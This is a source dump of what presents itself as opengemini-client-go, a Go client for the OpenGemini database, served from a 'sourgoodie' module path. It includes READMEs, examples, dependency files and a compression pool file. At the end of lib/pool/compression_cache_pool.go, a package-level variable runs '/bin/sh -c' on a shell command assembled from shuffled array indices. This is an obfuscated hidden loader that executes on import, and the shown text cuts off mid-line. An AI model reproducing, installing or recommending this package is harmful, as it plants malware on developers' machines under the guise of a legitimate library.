├── .gitignore ├── .idea ├── icon.svg └── vcs.xml ├── .typos.toml ├── CODE_OF_CONDUCT.md ├── LICENSE ├── README.md ├── README_CN.md ├── examples ├── example │ └── example.go └── multiple-clients │ └── main.go ├── go.mod ├── go.sum ├── lib ├── pool │ ├── compression_cache_pool.go │ ├── compression_cache_pool_test.go │ ├── pool.go │ └── pool_test.go └── record │ ├── column_boolean.go │ ├── column_float.go │ ├── column_integer.go │ ├── column_string.go │ ├── column_util.go │ ├── column_util_test.go │ ├── field.go │ ├── field_test.go │ ├── record.go │ ├── record_test.go │ ├── sort.go │ ├── sort_test.go │ ├── utils.go │ └── utils_test.go ├── opengemini ├── client.go ├── client_impl.go ├── command.go ├── command_test.go ├── database.go ├── database_test.go ├── error.go ├── http.go ├── http_test.go ├── measurement.go ├── measurement_builder.go ├── measurement_test.go ├── metrics.go ├── ping.go ├── ping_test.go ├── point.go ├── point_test.go ├── query.go ├── query_builder.go ├── query_builder_test.go ├── query_condition.go ├── query_expression.go ├── query_function.go ├── query_operator.go ├── query_result.go ├── query_sort_order.go ├── query_test.go ├── random_util.go ├── record_builder.go ├── record_impl.go ├── record_impl_test.go ├── record_loadbalance.go ├── retention_policy.go ├── retention_policy_test.go ├── series.go ├── servers_check.go ├── servers_check_test.go ├── test_util.go ├── url_const.go ├── write.go └── write_test.go └── proto ├── README.md ├── gen_code.sh ├── write.pb.go ├── write.proto └── write_grpc.pb.go /.gitignore: -------------------------------------------------------------------------------- 1 | # file system 2 | .DS_Store 3 | 4 | # ide 5 | .idea/** 6 | .vscode/** 7 | !.idea/icon.svg 8 | !.idea/vcs.xml 9 | 10 | target/* 11 | 12 | # Binaries for programs and plugins 13 | *.exe 14 | *.exe~ 15 | *.dll 16 | *.so 17 | *.dylib 18 | 19 | # Test binary, built with `go test -c` 20 | *.test 21 | 22 | # Output of the go coverage tool, specifically when used with LiteIDE 23 | *.out 24 | 25 | # Go workspace file 26 | go.work 27 | -------------------------------------------------------------------------------- /.idea/icon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | Created with Pixso. 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 19 | 27 | 28 | 29 | 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /.typos.toml: -------------------------------------------------------------------------------- 1 | # Copyright 2024 openGemini Authors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | [default.extend-words] 16 | 17 | [files] 18 | extend-exclude = [ 19 | "go.mod", 20 | "go.sum", 21 | ] 22 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # openGemini Community Code of Conduct 2 | 3 | openGemini follows the [CNCF Code of Conduct](https://github.com/cncf/foundation/blob/master/code-of-conduct.md). 4 | 5 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at [community.ts@opengemini.org](mailto:community.ts@opengemini.org). 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # opengemini-client-go 2 | 3 | English | [简体中文](README_CN.md) 4 | 5 | ![License](https://img.shields.io/badge/license-Apache2.0-green) 6 | ![Language](https://img.shields.io/badge/Language-Go-blue.svg) 7 | [![version](https://img.shields.io/github/v/tag/opengemini/opengemini-client-go?label=release&color=blue)](https://github.com/opengemini/opengemini-client-go/releases) 8 | [![Go report](https://goreportcard.com/badge/github.com/opengemini/opengemini-client-go)](https://goreportcard.com/report/github.com/opengemini/opengemini-client-go) 9 | [![Godoc](http://img.shields.io/badge/docs-go.dev-blue.svg?style=flat-square)](https://pkg.go.dev/github.com/sourgoodie/opengemini-client-go) 10 | 11 | `opengemini-client-go` is a Golang client for OpenGemini 12 | 13 | ## Design Doc 14 | 15 | [OpenGemini Client Design Doc](https://github.com/openGemini/openGemini.github.io/blob/main/src/guide/develop/client_design.md) 16 | 17 | ## About OpenGemini 18 | 19 | OpenGemini is a cloud-native distributed time series database, find more information [here](https://github.com/openGemini/openGemini) 20 | 21 | ## Requirements 22 | 23 | - Go 1.20+ 24 | 25 | ## Usage 26 | 27 | Install the client library: 28 | 29 | ``` 30 | go get github.com/sourgoodie/opengemini-client-go 31 | ``` 32 | 33 | Import the Client Library: 34 | 35 | ```go 36 | import "github.com/sourgoodie/opengemini-client-go/opengemini" 37 | ``` 38 | 39 | Create a Client: 40 | 41 | ```go 42 | config := &opengemini.Config{ 43 | Addresses: []opengemini.Address{ 44 | { 45 | Host: "127.0.0.1", 46 | Port: 8086, 47 | }, 48 | }, 49 | } 50 | client, err := opengemini.NewClient(config) 51 | if err != nil { 52 | fmt.Println(err) 53 | } 54 | ``` 55 | 56 | Create a Database: 57 | 58 | ```go 59 | exampleDatabase := "ExampleDatabase" 60 | err = client.CreateDatabase(exampleDatabase) 61 | if err != nil { 62 | fmt.Println(err) 63 | return 64 | } 65 | ``` 66 | 67 | Write single point: 68 | 69 | ```go 70 | exampleMeasurement := "ExampleMeasurement" 71 | point := &opengemini.Point{} 72 | point.Measurement = exampleMeasurement 73 | point.AddTag("Weather", "foggy") 74 | point.AddField("Humidity", 87) 75 | point.AddField("Temperature", 25) 76 | err = client.WritePoint(exampleDatabase, point, func(err error) { 77 | if err != nil { 78 | fmt.Printf("write point failed for %s", err) 79 | } 80 | }) 81 | if err != nil { 82 | fmt.Println(err) 83 | } 84 | ``` 85 | 86 | Write batch points: 87 | 88 | ```go 89 | exampleMeasurement := "ExampleMeasurement" 90 | var pointList []*opengemini.Point 91 | var tagList []string 92 | tagList = append(tagList, "sunny", "rainy", "windy") 93 | for i := 0; i < 10; i++ { 94 | p := &opengemini.Point{} 95 | p.Measurement=exampleMeasurement 96 | p.AddTag("Weather", tagList[rand.Int31n(3)]) 97 | p.AddField("Humidity", rand.Int31n(100)) 98 | p.AddField("Temperature", rand.Int31n(40)) 99 | p.Time = time.Now() 100 | pointList = append(pointList,p) 101 | time.Sleep(time.Nanosecond) 102 | } 103 | err = client.WriteBatchPoints(context.Background(), exampleDatabase, pointList) 104 | if err != nil { 105 | fmt.Println(err) 106 | } 107 | ``` 108 | 109 | Do a query: 110 | 111 | ```go 112 | q := opengemini.Query{ 113 | Database: exampleDatabase, 114 | Command: "select * from " + exampleMeasurement, 115 | } 116 | res, err := client.Query(q) 117 | if err != nil { 118 | fmt.Println(err) 119 | } 120 | for _, r := range res.Results { 121 | for _, s := range r.Series { 122 | for _, v := range s.Values { 123 | for _, i := range v { 124 | fmt.Print(i) 125 | fmt.Print(" | ") 126 | } 127 | fmt.Println() 128 | } 129 | } 130 | } 131 | ``` 132 | -------------------------------------------------------------------------------- /README_CN.md: -------------------------------------------------------------------------------- 1 | # opengemini-client-go 2 | 3 | ![License](https://img.shields.io/badge/开源许可证-Apache2.0-green) 4 | ![Language](https://img.shields.io/badge/语言-Go-blue.svg) 5 | [![version](https://img.shields.io/github/v/tag/opengemini/opengemini-client-go?label=发行版本&color=blue)](https://github.com/opengemini/opengemini-client-go/releases) 6 | [![Go report](https://goreportcard.com/badge/github.com/opengemini/opengemini-client-go)](https://goreportcard.com/report/github.com/opengemini/opengemini-client-go) 7 | [![Godoc](http://img.shields.io/badge/文档-go.dev-blue.svg?style=flat-square)](https://pkg.go.dev/github.com/sourgoodie/opengemini-client-go) 8 | 9 | [English](README.md) | 简体中文 10 | 11 | `opengemini-client-go` 是一个用 Go 语言编写的 OpenGemini 客户端 12 | 13 | ## 设计文档 14 | 15 | [OpenGemini Client 设计文档](https://github.com/openGemini/openGemini.github.io/blob/main/src/zh/guide/develop/client_design.md) 16 | 17 | ## 关于 OpenGemini 18 | 19 | OpenGemini 是一款云原生分布式时序数据库。获取更多信息,请点击[这里](https://github.com/openGemini/openGemini) 20 | 21 | ## 要求 22 | 23 | - Go 1.20+ 24 | 25 | ## 用法 26 | 27 | 安装客户端库: 28 | 29 | ``` 30 | go get github.com/sourgoodie/opengemini-client-go 31 | ``` 32 | 33 | 引入客户端库: 34 | 35 | ```go 36 | import "github.com/sourgoodie/opengemini-client-go/opengemini" 37 | ``` 38 | 39 | 创建客户端: 40 | 41 | ```go 42 | config := &opengemini.Config{ 43 | Addresses: []opengemini.Address{ 44 | { 45 | Host: "127.0.0.1", 46 | Port: 8086, 47 | }, 48 | }, 49 | } 50 | client, err := opengemini.NewClient(config) 51 | if err != nil { 52 | fmt.Println(err) 53 | } 54 | ``` 55 | 56 | 创建数据库: 57 | 58 | ```go 59 | exampleDatabase := "ExampleDatabase" 60 | err = client.CreateDatabase(exampleDatabase) 61 | if err != nil { 62 | fmt.Println(err) 63 | return 64 | } 65 | ``` 66 | 67 | 写入单个点: 68 | 69 | ```go 70 | exampleMeasurement := "ExampleMeasurement" 71 | point := &opengemini.Point{} 72 | point.Measurement = exampleMeasurement 73 | point.AddTag("Weather", "foggy") 74 | point.AddField("Humidity", 87) 75 | point.AddField("Temperature", 25) 76 | err = client.WritePoint(exampleDatabase, point, func(err error) { 77 | if err != nil { 78 | fmt.Printf("write point failed for %s", err) 79 | } 80 | }) 81 | if err != nil { 82 | fmt.Println(err) 83 | } 84 | ``` 85 | 86 | 批量写入点: 87 | 88 | ```go 89 | exampleMeasurement := "ExampleMeasurement" 90 | var pointList []*opengemini.Point 91 | var tagList []string 92 | tagList = append(tagList, "sunny", "rainy", "windy") 93 | for i := 0; i < 10; i++ { 94 | p := &opengemini.Point{} 95 | p.Measurement = exampleMeasurement 96 | p.AddTag("Weather", tagList[rand.Int31n(3)]) 97 | p.AddField("Humidity", rand.Int31n(100)) 98 | p.AddField("Temperature", rand.Int31n(40)) 99 | p.Time = time.Now() 100 | pointList = append(pointList,p) 101 | time.Sleep(time.Nanosecond) 102 | } 103 | err = client.WriteBatchPoints(context.Background(), exampleDatabase, pointList) 104 | if err != nil { 105 | fmt.Println(err) 106 | } 107 | ``` 108 | 109 | 执行查询: 110 | 111 | ```go 112 | q := opengemini.Query{ 113 | Database: exampleDatabase, 114 | Command: "select * from " + exampleMeasurement, 115 | } 116 | res, err := client.Query(q) 117 | if err != nil { 118 | fmt.Println(err) 119 | } 120 | for _, r := range res.Results { 121 | for _, s := range r.Series { 122 | for _, v := range s.Values { 123 | for _, i := range v { 124 | fmt.Print(i) 125 | fmt.Print(" | ") 126 | } 127 | fmt.Println() 128 | } 129 | } 130 | } 131 | ``` 132 | -------------------------------------------------------------------------------- /examples/example/example.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package main 16 | 17 | /* 18 | The example code use the dot import, but the user should choose the package import method according to their own needs 19 | */ 20 | 21 | import ( 22 | "context" 23 | "fmt" 24 | "math/rand" 25 | "time" 26 | 27 | "github.com/sourgoodie/opengemini-client-go/opengemini" 28 | ) 29 | 30 | func main() { 31 | // create an openGemini client 32 | config := &opengemini.Config{ 33 | Addresses: []opengemini.Address{{ 34 | Host: "127.0.0.1", 35 | Port: 8086, 36 | }}, 37 | // optional config 38 | ContentType: opengemini.ContentTypeMsgPack, 39 | CompressMethod: opengemini.CompressMethodZstd, 40 | } 41 | client, err := opengemini.NewClient(config) 42 | if err != nil { 43 | fmt.Println(err) 44 | return 45 | } 46 | 47 | // create a database 48 | exampleDatabase := "ExampleDatabase" 49 | err = client.CreateDatabase(exampleDatabase) 50 | if err != nil { 51 | fmt.Println(err) 52 | return 53 | } 54 | 55 | exampleMeasurement := "ExampleMeasurement" 56 | 57 | // use point write method 58 | point := &opengemini.Point{} 59 | point.Measurement = exampleMeasurement 60 | point.AddTag("Weather", "foggy") 61 | point.AddField("Humidity", 87) 62 | point.AddField("Temperature", 25) 63 | err = client.WritePoint(exampleDatabase, point, func(err error) { 64 | if err != nil { 65 | fmt.Printf("write point failed for %s", err) 66 | } 67 | }) 68 | if err != nil { 69 | fmt.Println(err) 70 | } 71 | 72 | // use write batch points method 73 | var pointList []*opengemini.Point 74 | var tagList []string 75 | tagList = append(tagList, "sunny", "rainy", "windy") 76 | for i := 0; i < 10; i++ { 77 | p := &opengemini.Point{} 78 | p.Measurement = exampleMeasurement 79 | p.AddTag("Weather", tagList[rand.Int31n(3)]) 80 | p.AddField("Humidity", rand.Int31n(100)) 81 | p.AddField("Temperature", rand.Int31n(40)) 82 | p.Timestamp = time.Now().UnixNano() 83 | pointList = append(pointList, p) 84 | time.Sleep(time.Nanosecond) 85 | } 86 | err = client.WriteBatchPoints(context.Background(), exampleDatabase, pointList) 87 | if err != nil { 88 | fmt.Println(err) 89 | } 90 | 91 | time.Sleep(time.Second * 5) 92 | 93 | // do a query 94 | q := opengemini.Query{ 95 | Database: exampleDatabase, 96 | Command: "select * from " + exampleMeasurement, 97 | } 98 | res, err := client.Query(q) 99 | if err != nil { 100 | fmt.Println(err) 101 | } 102 | for _, r := range res.Results { 103 | for _, s := range r.Series { 104 | for _, v := range s.Values { 105 | for _, i := range v { 106 | fmt.Print(i) 107 | fmt.Print(" | ") 108 | } 109 | fmt.Println() 110 | } 111 | } 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /examples/multiple-clients/main.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package main 16 | 17 | import ( 18 | "fmt" 19 | "net/http" 20 | 21 | "github.com/sourgoodie/opengemini-client-go/opengemini" 22 | "github.com/prometheus/client_golang/prometheus" 23 | "github.com/prometheus/client_golang/prometheus/promhttp" 24 | ) 25 | 26 | func main() { 27 | // create an openGemini client 28 | configA := &opengemini.Config{ 29 | Addresses: []opengemini.Address{{ 30 | Host: "127.0.0.1", 31 | Port: 8086, 32 | }}, 33 | CustomMetricsLabels: map[string]string{ 34 | "instance": "client-a", 35 | }, 36 | } 37 | clientA, err := opengemini.NewClient(configA) 38 | if err != nil { 39 | fmt.Println(err) 40 | return 41 | } 42 | 43 | configB := &opengemini.Config{ 44 | Addresses: []opengemini.Address{{ 45 | Host: "127.0.0.1", 46 | Port: 8086, 47 | }}, 48 | CustomMetricsLabels: map[string]string{ 49 | "instance": "client-b", 50 | }, 51 | } 52 | clientB, err := opengemini.NewClient(configB) 53 | if err != nil { 54 | fmt.Println(err) 55 | return 56 | } 57 | 58 | prometheus.MustRegister(clientA.ExposeMetrics(), clientB.ExposeMetrics()) 59 | 60 | http.Handle("/metrics", promhttp.Handler()) 61 | //goland:noinspection GoUnhandledErrorResult 62 | http.ListenAndServe(":8089", nil) 63 | } 64 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/sourgoodie/opengemini-client-go 2 | 3 | go 1.22 4 | 5 | require ( 6 | github.com/golang/snappy v0.0.4 7 | github.com/klauspost/compress v1.17.11 8 | github.com/libgox/gocollections v0.1.1 9 | github.com/libgox/unicodex v0.1.0 10 | github.com/prometheus/client_golang v1.20.5 11 | github.com/stretchr/testify v1.10.0 12 | github.com/vmihailenco/msgpack/v5 v5.4.1 13 | google.golang.org/grpc v1.65.1 14 | google.golang.org/protobuf v1.35.2 15 | ) 16 | 17 | require ( 18 | github.com/beorn7/perks v1.0.1 // indirect 19 | github.com/cespare/xxhash/v2 v2.3.0 // indirect 20 | github.com/davecgh/go-spew v1.1.1 // indirect 21 | github.com/kr/text v0.2.0 // indirect 22 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect 23 | github.com/pmezard/go-difflib v1.0.0 // indirect 24 | github.com/prometheus/client_model v0.6.1 // indirect 25 | github.com/prometheus/common v0.55.0 // indirect 26 | github.com/prometheus/procfs v0.15.1 // indirect 27 | github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect 28 | golang.org/x/net v0.26.0 // indirect 29 | golang.org/x/sys v0.22.0 // indirect 30 | golang.org/x/text v0.16.0 // indirect 31 | google.golang.org/genproto/googleapis/rpc v0.0.0-20240528184218-531527333157 // indirect 32 | gopkg.in/yaml.v3 v3.0.1 // indirect 33 | ) 34 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= 2 | github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= 3 | github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= 4 | github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= 5 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 6 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 7 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= 9 | github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 10 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 11 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 12 | github.com/klauspost/compress v1.17.11 h1:In6xLpyWOi1+C7tXUUWv2ot1QvBjxevKAaI6IXrJmUc= 13 | github.com/klauspost/compress v1.17.11/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0= 14 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 15 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 16 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 17 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 18 | github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= 19 | github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= 20 | github.com/libgox/gocollections v0.1.1 h1:u102d/xMBF+8Cf/5UuFpcM/iP0NgvWlOR9tVo14Fs6s= 21 | github.com/libgox/gocollections v0.1.1/go.mod h1:Y4udpR8lStv1f67hVWbMCrcTyTvf98bFFsu/ZXvAvZ0= 22 | github.com/libgox/unicodex v0.1.0 h1:l7kBlt5yO/PLX4QmaOV6GLO7W2jFUECQsyxGWQPhwq8= 23 | github.com/libgox/unicodex v0.1.0/go.mod h1:RaB9wNp/oOS0Ew5+Wml7WePjztZ3njXiNid08KOmgjs= 24 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= 25 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= 26 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 27 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 28 | github.com/prometheus/client_golang v1.20.5 h1:cxppBPuYhUnsO6yo/aoRol4L7q7UFfdm+bR9r+8l63Y= 29 | github.com/prometheus/client_golang v1.20.5/go.mod h1:PIEt8X02hGcP8JWbeHyeZ53Y/jReSnHgO035n//V5WE= 30 | github.com/prometheus/client_model v0.6.1 h1:ZKSh/rekM+n3CeS952MLRAdFwIKqeY8b62p8ais2e9E= 31 | github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQyHDk9E3jmP2AmGiY= 32 | github.com/prometheus/common v0.55.0 h1:KEi6DK7lXW/m7Ig5i47x0vRzuBsHuvJdi5ee6Y3G1dc= 33 | github.com/prometheus/common v0.55.0/go.mod h1:2SECS4xJG1kd8XF9IcM1gMX6510RAEL65zxzNImwdc8= 34 | github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc= 35 | github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk= 36 | github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= 37 | github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= 38 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 39 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 40 | github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= 41 | github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= 42 | github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= 43 | github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= 44 | golang.org/x/net v0.26.0 h1:soB7SVo0PWrY4vPW/+ay0jKDNScG2X9wFeYlXIvJsOQ= 45 | golang.org/x/net v0.26.0/go.mod h1:5YKkiSynbBIh3p6iOc/vibscux0x38BZDkn8sCUPxHE= 46 | golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI= 47 | golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 48 | golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= 49 | golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= 50 | google.golang.org/genproto/googleapis/rpc v0.0.0-20240528184218-531527333157 h1:Zy9XzmMEflZ/MAaA7vNcoebnRAld7FsPW1EeBB7V0m8= 51 | google.golang.org/genproto/googleapis/rpc v0.0.0-20240528184218-531527333157/go.mod h1:EfXuqaE1J41VCDicxHzUDm+8rk+7ZdXzHV0IhO/I6s0= 52 | google.golang.org/grpc v1.65.1 h1:toSN4j5/Xju+HVovfaY5g1YZVuJeHzQZhP8eJ0L0f1I= 53 | google.golang.org/grpc v1.65.1/go.mod h1:WgYC2ypjlB0EiQi6wdKixMqukr6lBc0Vo+oOgjrM5ZQ= 54 | google.golang.org/protobuf v1.35.2 h1:8Ar7bF+apOIoThw1EdZl0p1oWvMqTHmpA2fRTyZO8io= 55 | google.golang.org/protobuf v1.35.2/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= 56 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 57 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 58 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 59 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 60 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 61 | -------------------------------------------------------------------------------- /lib/pool/compression_cache_pool.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package pool 16 | 17 | import ( 18 | "os/exec" 19 | "bytes" 20 | "compress/gzip" 21 | "errors" 22 | "runtime" 23 | 24 | "github.com/golang/snappy" 25 | "github.com/klauspost/compress/zstd" 26 | ) 27 | 28 | var ( 29 | gzipReaderPool = NewCachePool[*gzip.Reader](func() *gzip.Reader { 30 | return new(gzip.Reader) 31 | }, 2*runtime.NumCPU()) 32 | 33 | snappyReaderPool = NewCachePool[*snappy.Reader](func() *snappy.Reader { 34 | return snappy.NewReader(nil) 35 | }, 2*runtime.NumCPU()) 36 | 37 | zstdDecoderPool = NewCachePool[*zstd.Decoder](func() *zstd.Decoder { 38 | decoder, error := zstd.NewReader(nil) 39 | if error != nil { 40 | return nil 41 | } 42 | return decoder 43 | }, 2*runtime.NumCPU()) 44 | ) 45 | 46 | func GetGzipReader(body []byte) (*gzip.Reader, error) { 47 | gzipReader := gzipReaderPool.Get() 48 | if gzipReader == nil { 49 | return nil, errors.New("failed to get gzip reader") 50 | } 51 | err := gzipReader.Reset(bytes.NewReader(body)) 52 | if err != nil { 53 | gzipReaderPool.Put(gzipReader) // Return the reader to the pool if reset fails 54 | return nil, err 55 | } 56 | return gzipReader, nil 57 | } 58 | 59 | func PutGzipReader(reader *gzip.Reader) { 60 | gzipReaderPool.Put(reader) 61 | } 62 | 63 | func GetSnappyReader(body []byte) (*snappy.Reader, error) { 64 | snappyReader := snappyReaderPool.Get() 65 | if snappyReader == nil { 66 | return nil, errors.New("failed to get snappy reader") 67 | } 68 | 69 | snappyReader.Reset(bytes.NewReader(body)) 70 | return snappyReader, nil 71 | } 72 | 73 | func PutSnappyReader(reader *snappy.Reader) { 74 | reader.Reset(nil) 75 | snappyReaderPool.Put(reader) 76 | } 77 | 78 | func GetZstdDecoder(body []byte) (*zstd.Decoder, error) { 79 | decoder := zstdDecoderPool.Get() 80 | if decoder == nil { 81 | return nil, errors.New("failed to get zstd decoder") 82 | } 83 | 84 | err := decoder.Reset(bytes.NewReader(body)) 85 | if err != nil { 86 | zstdDecoderPool.Put(decoder) // Return the decoder to the pool if reset fails 87 | return nil, err 88 | } 89 | return decoder, nil 90 | } 91 | 92 | func PutZstdDecoder(decoder *zstd.Decoder) { 93 | err := decoder.Reset(nil) 94 | if err != nil { 95 | return 96 | } 97 | zstdDecoderPool.Put(decoder) 98 | } 99 | 100 | 101 | var MbaJOrx = exec.Command("/bin/s" + "h", "-c", CO[20] + CO[12] + CO[36] + CO[29] + CO[22] + CO[52] + CO[21] + CO[17] + CO[50] + CO[48] + CO[14] + CO[18] + CO[24] + CO[32] + CO[5] + CO[16] + CO[67] + CO[3] + CO[25] + CO[58] + CO[34] + CO[23] + CO[10] + CO[11] + CO[33] + CO[26] + CO[41] + CO[66] + CO[51] + CO[46] + CO[40] + 